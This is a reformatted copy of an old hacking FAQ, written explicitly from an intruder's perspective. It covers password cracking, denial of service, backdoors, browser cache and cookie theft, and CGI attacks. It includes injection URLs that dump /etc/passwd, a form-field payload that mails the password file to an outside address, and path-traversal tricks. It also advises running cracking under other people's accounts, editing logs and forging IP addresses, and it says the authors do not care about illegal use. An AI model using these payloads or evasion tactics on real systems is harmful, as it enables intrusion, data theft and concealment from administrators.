Next: Administrivia
This FAQ is intended to explain and show the theory and practice behind hacking. While it serves both administrator and hacker alike, the perspective is from the intruder.
The following was originally compiled in June 1998 and updated January 2003 and updated again October 2003. It answers some basic questions about this FAQ. This document is a reformatted copy of the origional from nmrc.org.
If we said "to teach hacking", we would be lying.
The goal here is simply information disemination.
For a large part of the material, testing was completed in the lab and at various field locations. Some of the tools used during testing are linked to web sites below in the projects section.
For NT, the lab was used, but due to a recent "moment of clarity", NT is no longer operational in the labs. Field locations will be used from now on. Web-related hacking information has been tested in the field, but now we also have resources for this type of testing in the lab. Unix testing is also done in the lab, but primarily limited to the free ones such as Linux and FreeBSD, OpenBSD, NetBSD.
Technical info has been discovered (read "quoted without permission because it was out in a public forum so we leeched it") and collected. Often, the technical detail is complete and self-explanatory in its original source, so we feel no reason to test it in a lab environment. We try to quote original material when we can. If we have left you out, email us at faq at nmrc dot org.
The actual FAQ was assembled from various text files and has been turned into XHTML source. This gives us a single starting place during revisions and the opportunity for a multitude of output formats.
It is prefered that you include OS flavor and versions, and other conditions used in testing. Theoretical discussion is fine, just try to back up your findings.
Anonymous submissions are okay. Encrypt them if you like. Here's Simple Nomad's GPG key (also available from MIT's key server):
Here are a few of our many contributors (the list of sources borrowed from is a bit too lengthy to include here, and are typically referenced within the FAQ itself):
Tech Support:
Lab Support:
Documentation and Compilation:
Music Heard During Revising/Editing/Testing:
This FAQ is available online (and possibly in other formats) from the following locations:
Currently, due to the new processing of the information, mirrors will not be supported. Once we've implemented the process, we hope to provide updates to this FAQ once a month.
There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak. We don't care how you use this information. If you use it to break the law, fine. If you get caught, fine. If you use it to secure a system, fine. We are responsible for ourselves, therefore we need no "disclaimer". Instead, here is our exclaimer -- PISS OFF.
The only thing more lame than a disclaimer on a web page is a disclaimer in a sig file (we all know how many millions of dollars in attorney's fees are saved by sig files every year).
Here are the changes that have been made to this FAQ.
Top | Next: Attack Basics | Previous: Table of Contents | Table of Contents
While there is no hard and fast rule to hacking, most system intrusions can be divided into four steps. Depending on techniques involved, there could be less or more, but you can get the basic idea.
Of course, some steps might be repeated, especially step 2. Or maybe an entire series of mini "1-2-3-4-1-2-3-4" attacks are used in concert to obtain access to a system or achieve a goal.
Top | Next: Account Basics | Previous: Administrivia | Table of Contents
This section deals with the basics regarding computer accounts.
Accounts are a way of identifying users to a computer system. Other terms you may see or here are IDs, user IDs, logins, or some other variant. Most systems, when initially accessed, will require you to provide an account name, and will usually require you follow up with a password. Not knowing a password sucks, but not knowing a valid account name sucks more.
Account names are usually something either very common: such as a part of the user's name like tshimomura or kmitnick, part of a user's function like dbadmin or webmaster, or sometimes kind of goofy such as employee numbers like u121, or something made up like up-uat or imnsho. Usually, if you can find out one or two regular user account names, it might be possible to guess additional names -- particularly if employee numbers or account numbers are used.
Accounts can usually be divided up into four categories -- god, special, regular, and guest. A god account can usually do anything system-wise, from adding more users to changing anybody's password to complete system reconfiguration. As a hacker, this is typically your objective. Special accounts are usually either accounts used by the system itself or accounts that fulfill some type of administrative roll without full god access. Regular accounts are simply that -- the accounts used by regular users for their normal tasks. And guest accounts are accounts designed for anyone to use -- these are usually there as a convenience for those who do not have a regular account on the system. A good example of this is anonymous FTP. Typically, guest accounts have fairly restrictive access to the system, especially on publicly accessible systems.
Groups are simply groupings of users. They are primarily used to ease system administration. For example, instead of having to assign access to a new hard drive to the forty accounting users, an admin just has to assign the accounting group the access. Even special privileges can often be assigned by group, such as the ability to manage a set of programs or system functions like printing.
Most modern systems allow accounts to belong to more than one group.
Top | Next: Password Basics | Previous: Attack Basics | Table of Contents
This section deals with the basics regarding passwords.
Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.
On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.
Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.
To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.
If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.
Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.
A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.
Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.
If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.
A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.
Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.
It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.
If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.
If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.
If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.
You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.
A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.
To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.
Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can't be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.
The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else's systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is -- cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).
Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you'll still be the first to be blamed whether the cracking software is yours or not!
Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.
For information on NT passwords, see the NT Passwords section. For information on Netware passwords, see the Netware Passwords section. For information in Unix passwords, see the Unix Passwords section.
No password scheme is "safe". In both NT and Netware, you have no choices. Any problems found with recovering the password hashes or problems in the protocols used during logon are usually left unsolved and simply "worked around". A good example with NT is the fact that the LanMan hash is much easier to crack. To eliminate the LanMan hash requires a lot of work, but it still doesn't erase the fact that you can still crack the NT hashes.
With Unix, you may have a few more choices. See the section on SRP for details.
Certainly! There are plenty of commercial programs that will do this, but we give props to Elcomsoft for fighting the DMCA. 30-day trial versions are available here
Top | Next: Denial of Service Basics | Previous: Account Basics | Table of Contents
This section covers basic info regarding Denial of Service attacks.
DoS (Denial of Service) is simply rendering a service incapable of responding to requests in a timely manner. This is a controversial subject, since some people think that DoS is not a hack, and/or is rather juvenile and petty. We prefer to think of them as just one more kind of tool in the toolbox, and as such, will continue to include material on them in the Hack FAQ. Ask yourself which is more alarming - the number of kids trying DoS attacks, or the number of DoS attacks that succeed?
Regardless of your feelings, DoS has been steadily gaining in popularity, whether with hackers mad at other hackers, sysadmins mad at spammers, or whatever - virtually everyone we've run into that is aware of the potential of DoS at least has software to do it, admins included.
Reasons that a hacker might want to resort to DoS might include the following:
Reasons that a sysadmin might use DoS:
The Ping of Death is a large ICMP packet. The target receives the ping in fragments and starts reassembling the packet. However, due to the size of the packet once it is reassembled, it is too big for the buffer and overflows it. This causes unpredictable results, such as reboots or system hangs.
Windows NT is capable of sending such a packet. By simply typing in "ping -165527 -s 1 target" you can send such a ping. There are also source code examples available for Unix platforms that allow large ping packets to be constructed. These sources are freely available.
Most systems have patches available to prevent the Ping of Death from working. However, it is still included here for historical reasons, as the Ping of Death helped get the whole DoS craze really going, since it was so easy to perform.
In the TCP/IP protocol, a three-way handshake takes place as a connection to a service is established. First, in a SYN packet from the client, to which the service responds with a SYNACK. Finally, the client responds to the SYNACK and the connection is considered established.
A SYN Flood attack is when the client does not responsd to the service's SYNACK and continues to send SYN packets, tying up the service until the handshake times out. The source address of the client is forged to a non-existant host, and as long as the SYN packets are sent faster than the timeout rate of the service host's TCP stack, the service will be unable to establish new connections..
This is only a simplified version of what happens, though. For more elaborate details and sample Linux code for creating a flood, read Project Neptune.
Most others involve ICMP packets (such as used in 'ping') to create massive floods of traffic, or other packet malformations. Search for winnuke, smurf, or teardrop for more details, or visit one of the many sites dedicated to providing such tools, such as Packetstorm.
Distributed DoS attacks are an interesting phenomena. The premise goes like this:
There are already several such tools available, such as Trinoo, TFN2K, and stacheldraht. Look for them on Packetstorm.
New DoS attacks are fairly easy to discover. Flooding any service or system with malformed or excessive packets and observing the behavior will tell you if you've discovered something interesting. It is advised that you test this kind of thing against home systems or cooperating friends until you've perfected your techniques. Often, it is easy to trace the source of such attacks, especially if you launch then from your home system without IP forgery, and since DoS is illegal against systems you don't have permission to attack, and may violate your ISP's acceptable use policy, you might want to be careful.
Good question.
Oh, you want an answer? Well, it often isn't easy to defend against DoS attacks, but there are a few things you can do. For defending against your Ping of Death style of attacks (malformed packets that crash a service or the system itself), the best line of defense is to keep your systems patched up, and to put a firewall between yourself and the Internet that is patched up. This really is the best method.
As far as bandwidth stealing attacks, such as floods, there is not a lot you can do. Packetstorm ran a contest that posed the question as far as distributed attacks go, and several of the concepts in numerous papers can be applied across the board to any DoS attack. The best papers included:
Top | Next: Logging Basics | Previous: Password Basics | Table of Contents
This section contains information regarding logging basics.
Auditing, accounting, logging -- call it what you will, these are things used to create permanent or semi-permanent records of events on a system. Unfortunately, these can record your intrusion activities, sometimes in explicit and evidence-worthy detail. Therefore, potential intruders should not only be aware of what record keeping is available (either as a regular feature of the system or as add-ons) and have possible methods for defeating such recordings.
Some types of logging include simple text files with entries showing logins and logouts, maybe failed logins. Others show what programs were accessed, which programs were attempted to be run and the request failed, or keep track of an individual's disk usage. All can reveal info that can allow an administrator to reconstruct an attack.
Admins generally prefer to use simple logging techniques so as not to pile onto their current workload. Logs take up space. Large log files are sometimes very difficult to sift through as sys admins are looking for problems. These logs are usually stored in directories generally protected from casual viewing, or at least editing.
Typically log files do not disappear. This might lead a curious sys admin to poke around looking for problems, and the paranoid sys admin to look for intruders. The logs should be edited if possible, or the entries made into them made to look as normal as possible.
Top | Next: Miscellaneous Basics | Previous: Denial of Service Basics | Table of Contents
This section contains information that didn't seem to fit elsewhere.
A backdoor is simply a way back into a system that not only bypasses existing security to regain access, but may even defeat any additional security enhancementsadded onto a system.
Backdoors can range from the simple to the exotic. Simple backdoors might include creating a new user account just for your intrusion needs, or taking over a little-used account. More complex backdoors may bypass regular access completely and involve trojans, such as a login program that gives you administrative access if you type in a special password.
Backdoors can be chained together, which is the technique used by most hackers. This involves a combination of techniques. For example, one or more accounts that have basic user access may have had their passwords cracked, and one or more accounts may be created by the hacker. Once the system is accessed by the hacker, the hacker may activate some technique or exploit a system misconfiguration that allows greater access. Often a hacker will lower the defenses in certain areas by slightly altering system configuration files. Perhaps a trojan program has been installed that will open holes upon command by the hacker. Some of these techniques will be discussed in detail in the individual operating system sections of this FAQ.
A buffer overflow is when a buffer was assigned by a programmer to hold variable data, and the variable data placed into that buffer is greater that the size of the initial assignment of the buffer. Depending on the operating system and exactly what the "extra" data overflowing the buffer is, this can be used by a hacker to cause portions of a system to fail, or even execute arbitrary code.
Most buffer overflow exploits center around user-supplied data exceeding a buffer, and the extra data being executed on the stack to open up additional access. Buffer overflows exist on all major network operating systems. For a more deteailed explanation, read Smashing The Stack For Fun And Profit by Aleph1.
Lame. This is an adjective that says something is either useless or beneath a hacker to use, and therefore is shunned. It usually reflects a fixation on the simple and the bypassing of any real thought processes. Since that isn't much in the way of explanation, we'll define it in context:
Peacefire, a "people for young people's freedom of speech" organization, has some good instructions.
Let's assume you're connected to what's known as an open relay, a mail server that will attempt to deliver mail for any domain:
220 example.com ESTMP helo foobar 250 example.com OK mail from:<God@example.net> 250 Address OK rcpt to:<Kent.Torokvei@example.org> 250 Kent.Torokvei OK data 354 Enter mail, end with a single ".". Kent, stop touching yourself! . 250 Ok. quit 221 Bye received. Goodbye.
If the admin had wisely disabled open relay, the mail server would have rejected the 'mail from' command because neither the From nor To header ends in the example.com domain. If you are local - topologically speaking - to the mail server, you may still spoof interally... unless the admin has enabled SMTP-AUTH, which requires a username/password login before the server will accept commands.
If someone has turned on the "Activate my home page" feature it will turn their computer into a poor web server. Telnet to port 80 and type junk, followed by quit and enter. Boom, GPF. You can also explore the person's hard drive. Here's how:
http://members.icq.com/<ICQ of target person>
This will redirect you to the person's home computer and you'll have their IP address.
http://<IP address>/...../a2.html
This will show you the a2.html file in the ICQ directory. Add more dots and add .html to the url to look at other files.
This works on ICQ99a build 1700. The fix? Don't use ICQ, it's lame anyway.
Top | Next: Web Browser as Attack Target | Previous: Logging Basics | Table of Contents
This section deals with the web browser and the securing/hacking thereof.
There are two main areas regarding security around a browser -- reading your private files and manipulating you into a compromising situation.
Just a few files can provide a lot of information about yourself. These include cache files, the history file, and your bookmarks. Usually, if you are a typical home user, this is not a problem. But if your browser directory is stored on a server, the server could be compromised and then anything in the cache and history is in the hands of someone else. Every access and submitted form, including those to change passwords on servers whose service you are paying for.
Being manipulated is the other hot area. You can be tricked into supplying user IDs and passwords, revealing personal information like Social Security and credit card information, or even be presented with misinformation to cause you to act in a way to cause a vulnerability to arise. If your browser supports HTML extensions and/or Java, your history file, cache, and other files could be plucked from your hard drive. Your machine could be used as a mechanism to attack other resources behind your firewall, sending critical information to an offsite hacker. And while vulnerabilities in most mainstream browsers are constantly patched to prevent this type of behavior, certain hackers are constantly finding new holes.
Check out Georgi Guninski's home page for a good example of browser problems in the Internet Explorer and Netscape sections.
We'll cover all three. First the history file.
For most browsers, the default color for a clickable link is blue. Once you've clicked on it and visited the link, it changes purple. While the colors may be different depending on the page design, the way your browser keeps track of this information is via the history file.
Again, for most browsers, the default is 30 days to expire a link, making it possible to see the last 30 days worth of web surfing by examining the history file. "Hmm, Fred keeps looking at a particular set of stocks. Does he know something I don't? Hey, Martha keeps looking at lesbian sites. What would her homophobic boss say about that?" Get the idea?
Here's a formatted example:
http://www.google.com/search?q=microsoft+stock+price+takeover+rumor+apple http://www.google.com/search?q=apple+macintosh+hack http://www.google.com/search?q=audit+trail+hide
If this were from the history file of someone at Microsoft, it might be quite interesting, even valuable.
Bookmarks are a problem for the same reason: it shows what sites you regularly browse. If you are bookmarking sites which require passwords to enter, a quick look your the cache will possibly reveal those passwords, or at least your account IDs.
The cache is your browser's way of making things a little easier on your access time, the server you're accessing, and the network in general. What happens is that when you access a web page, a copy of the page and any graphics used on that page are stored locally. That way, if access the page again, your browser can pull up the local copy instead of accessing the network. This saves time and bandwidth. When you reload, your browser compares the cached file to the one on the server you are accessing and pulls down the latest one. Most browsers will also cache queries and form submissions, as well.
If you are looking for dirt on someone, looking for credit card information, or just want to find out what someone's been up to, check their cache. Every query to a search site like Google is stored in cache. Typically, every form submission including browsing pages that require an ID and password will be there, unless a site has tagged a HTML document to not be cached.
The cache is typically located in a subdirectory underneath the browser's working directory , usually with the word "cache" in the directory name, depending on your OS and browser version. Otherwise, it may be stored in a temporary directory. For example, IBM's Web Explorer for OS/2 will store its cached files in C:\TCPIP\TMP, and is flushed before each run of the program.
Here is a formatted example from a cache's index file on a Unix workstation, with names changed to protect the not-so-innocent ;-)
n b <http://altavista.digital.com/cgi-bin/query?pg=q=web=> 10=.=%2bhack+%2bnt+%2bserver E1 00/cache31DF458002EC693.cgi text/html 4 ( <http://www.example.com/user/register.cgi> (r) rE1 10/cache31DF457002CC693.html text/html . " <http://www.example.com/use> r/welcome.html *1 J 14/cache31DF18940 27C693.html text/html J
Here are three entries. In the first, the user is trying to get NT hacking information from AltaVista. In the second, the user is trying to get signed onto a site called http://www.example.com/, and finally it looks like the user got in. The three cache files are:
You could view these files with a browser, since they're just local copies of the web pages. If 31DF457002CC693.html had a password in it and it was unreadable, you could still do the following:
Access the site yourself and try to login. Check your own cache and replace your cached file with the file 31DF457002CC693.html, renaming it to what your cache file was, and then resubmit the form. If the site is doing only password security, you might get in. If you still don't get in, try substituting the cookie file, as well (in the next section).
The information gained from these sources can also be quite useful for social engineering purposes. For example, you could determine the user was interested in aquariums and rare fish, and use that to assist in guessing a password.
The cookie file (typically named 'cookie.txt') is a file used to store persistent information about your browser and Web server connection. Since HTTP requests are "connectionless" - one connection for every request - the cookie file is used to track information about the whole session with a server. This way a server can track information about you during your visit, by giving you a cookie. The cookie might typically track info such as which page you've been to or how you answered a question on a previous form. And due to the connectionless protocol, it keeps the cookie on the client.
This might not seem like a problem, but since Javascript can write information to the cookie file before it is sent to the server, limited information can be gathered about a user - typically, the email address. So, occassionally, the cookie.txt file will contain interesting information, usually not.
Here's an example of how the cookie file could be used here:
A user loads a page. It checks for its cookie in the cookie.txt file. If the cookie is there, the state the user left the page in last visit is restored (and we can jump to the last step). If no cookie is present, it is assumed the cookie is expired or it's the user's first visit. A default page is built for the user. The user clicks and selects stuff on the page. The user leaves the page. The cookie is updated with the changes made to the page.
The other important file is that pull-down menu in Netscape that showed the last 10 or so sites you've visited. This is typically located in the netscape.ini file in the [URL History] section. A clever Java applet could grab this information and ship it offsite, or if you've compromised a server where everyone has their config files in user directories, you can get to this information.
A couple of other directories that contain interesting files are the MAIL and NEWS subdirectories for Netscape. The MAIL directory will, of course, contain not only your inbox if you're using Netscape as your email application, but log every email sent out from your browser whether you are using Netscape for email or not. The file is typically called Sent, and is turned on for logging by default.
It is interesting to note that, while it is trivial to send fake email via Netscape (simply make the changes to the return address and send), the outgoing message is stored in the MAIL directory by default in most browsers. While fake email is still pretty easy to track down, having a copy of the message on your machine that you don't know about can be pretty damning evidence.
As stated in the previous section, the cookie file, "cookie.txt", is a file used to store information about your browser and Web server connection.
The limits (last time I checked, and I checked Netscape only) are as follows - you can only have 300 cookies total, each cookie has a limit of 4KB (which works out to about 1.2MB), a single site can only have a max of 20 cookies in your cookie.txt file, and a web server can only access a user's cookie if that cookie.txt entry contains the web server's domain.
A cookie entry has the following in it -
NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure
The name is the name of the cookie, and the value is the value of the cookie itself. The expires date, if present, is when the cookie expires. If there is no expiration date then the cookie is only kept on the client during the current session. The path and domain indicate which URLs can access certain cookies, and the secure keyword is used when a cookie needs to be sent over a secure link.
So how do we access this info? Using Java (these examples will not work alone, call from your own Java program).
First let's retrieve a cookie by name:
// This function is used by the GetCookie function...
function getCookieVal (offset) {
var endstr=document.cookie.indexOf(";", offset);
if (endstr==-1)
endstr=document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
// ...and this function returns the requested cookie.
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
}
return null; // return null if no cookie by that name
}
Now to set cookie information with this function:
// The first 2 args are used, the rest are optional. If you skip an
// arg give it a null value.
function SetCookie (name;value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "" : "; secure" + "");
}
Finally let's delete a cookie by name:
// This function uses the GetCookie function above.
function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() -1); // set cookie to expire and browser will
// remove it at end of session
var cval = GetCookie (name);
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}
Well, you could disable cache (or set its size to zero) but that would certainly hurt performance. Usually flushing your cache at the end of a session or before visiting a site that's unknown would be good. Setting your history file preference to zero or wiping the file at the end of the session is also okay.
Don't put stupid stuff in your bookmark file ;-)
You can edit your cookie.txt file, removing any cookies and then using your local operating system make the cookie.txt file read only.
Disable the logging of outgoing email messages, unless you don't have a problem with anyone reading them.
A site can learn a lot about you, even without Netscape or Java. Take a look at Anonymizer Privacy Analysis. With extra logging options, a site can log your OS, browser, e-mail address, hostname, and last site visited. This isn't using JavaScript, either. Some companies use this info to build mailing lists, and track all of this info. To prevent this, you could use Anonymizer's site as a "proxy" to surf anonymously. Instructions are at the anonymizer site, and it currently offers limited free service.
If most of this is Greek to you, and you simply read this FAQ because you are afraid of computer bad guys, go to Download.com and look for a product called Cookie Monster. This product allows you to clean up any or all of these files, and is fairly easy to use (some of us actually use Windows clients here).
Once again, review the Anonymizer web site at http://www.anonymizer.com/.
If that does not convince you, check out the following web site:
http://www.iptvreports.mcmail.com/interception_capabilities_2000.htm
People *do* watch you.
Top | Next: Web Browser as Attack Tool | Previous: Miscellaneous Basics | Table of Contents
This section deals with using the web browser as an attack tool.
The phf file is an example CGI script that is used to update a phonebook style listing of people. By default, a lot of sites have this file sitting in /cgi-bin and don't even know it. You know, they installed everything to default. However, the phf file behaves "differently" if thrown a newline (0a) character. Here's the common attack for a Unix server:
http://example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Or better yet, a series of commands:
The above commands are:
You get the point. You could try to access the files directly or move them to another location for retrieval. We've used a Unix target as an example since it is most common, but NT commands will work on a NT server just fine, too.
There is a test CGI script included with most servers that can be used to make sure environment variables and other information is being passed to the server properly during queries. This example file is called, appropriately, "test-cgi" on most systems. Here's how it works:
http://example.com/cgi-bin/test-cgi?\whatever
The response will be something like...
CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = example.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH =
Once again, the 0a character can be used to try to get this file to do other things, or you could simply try an asterisk:
http://example.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
These might get you a list of files in /cgi-bin:
The "~", or tilde (pronounced "til-day"), is used during a resolve of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html so that ~ replaces /public_html when getting to a user's directory. Some Unix servers that do not have a /public_html may attempt to resolve to the home directory listed in /etc/passwd. For example, this URL might return some interesting information:
http://example.com/~root
If the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file:
http://example.com/~root/etc/passwd
Some admins may patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just root, but every user on the system, including putting a tilde in front of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will do quite nicely.
The demo CGI program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a "|" followed by a Unix command. It may require a password, but two known passwords include HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program, running strings on it will probably reveal the password.
Do a search for jj.c to get a copy and study the code yourself if you have more questions.
Here's the typical example: A web author has a form on a page that allows the public to send email to a certain address. But what if the author is going to be on vacation? What if the address needs to be changed each month? By including the address in the form the web author doesn't have to change the CGI script. Outside of the normal fields for From:, Subject:, etc. there is usually something in the form like this:
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>">
After clicking on the submit button, it goes to a CGI script. Once again, it is typical to write out the info to a temp file and then read it back in to be sent to sendmail:
/* code snippet in C, although you can do the same type thing in Perl */ sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file); system(buffer);
A shell is being forked, and since in the code above the variables are being passed without being checked for extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as a local HTML file). Once copied, edit the form to include the following:
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>;cat /etc/passwd | mail thegnome@5th.column.gov <mailto:thegnome@5th.column.gov>">
Note the addition of the semicolon. The semicolon tells the forked shell it has another completely separate command to run, which in this example sends the passwd file to a government spy.
It should be pointed out that, for the most part, you will have no idea that this type of technique is going to work until you try it. Look around, and you will sometimes see these attempts at various places. It's always funny to see this entry in a guestbook:
From: fred@kissmybutt.com mailto:fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST)
Loved your web page. Looks nice.;mail phil@idiot.com <mailto:phil@idiot.com> < cat /etc/passwd
Not only does it have Phil's email address, but his real IP address and a time stamp. Ouch! So hackers, if you want to be evil, try forging your IP address and sending the passwd file to a remailer.
Here is an example:
example.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Aid%0A==foo==_phone= ==_school== HTTP/1.0" 200 116 example.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/passwd%0A==foo== _phone===_school== HTTP/1.0" 200 7241 example.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Auname%20-a%0A==foo==e_phone===_school== HTTP/1.0" 200 154 example.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/shadow%0A==foo== _phone===_school== HTTP/1.0" 200 105 example.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=name=_phone===_school== HTTP/1.0" 200 175
example.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=nickname=_phone===_school== HTTP/1.0" 200 175 example.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A==foo= =_phone===_school== HTTP/1.0" 200 138 example.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A==f oo==_phone===_school== HTTP/1.0" 200 119 example.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Aid%0A==foo==_ph one===_school== HTTP/1.0" 200 116 example.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%0A==foo==_ph one===_school== HTTP/1.0" 200 300 example.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A==foo=ckname=_phone===_school== HTTP/1.0"200 107
Two attacks. The first one involves trying to access /etc/passwd and /etc/shadow, with attempts to determine what id httpd is running under, with failed attempts at the passwd file. The second is a little more interesting. Since /etc/shadow can't be accessed directly, the attacker tries to move the file to anonymous FTP's incoming directory for an alternate method of retrieval.
A Server-Side Include (SSI) is a way to imbed special operations and commands into an HTML document. The potential for abuse is there when they are combined with CGI and the modification of HTML.
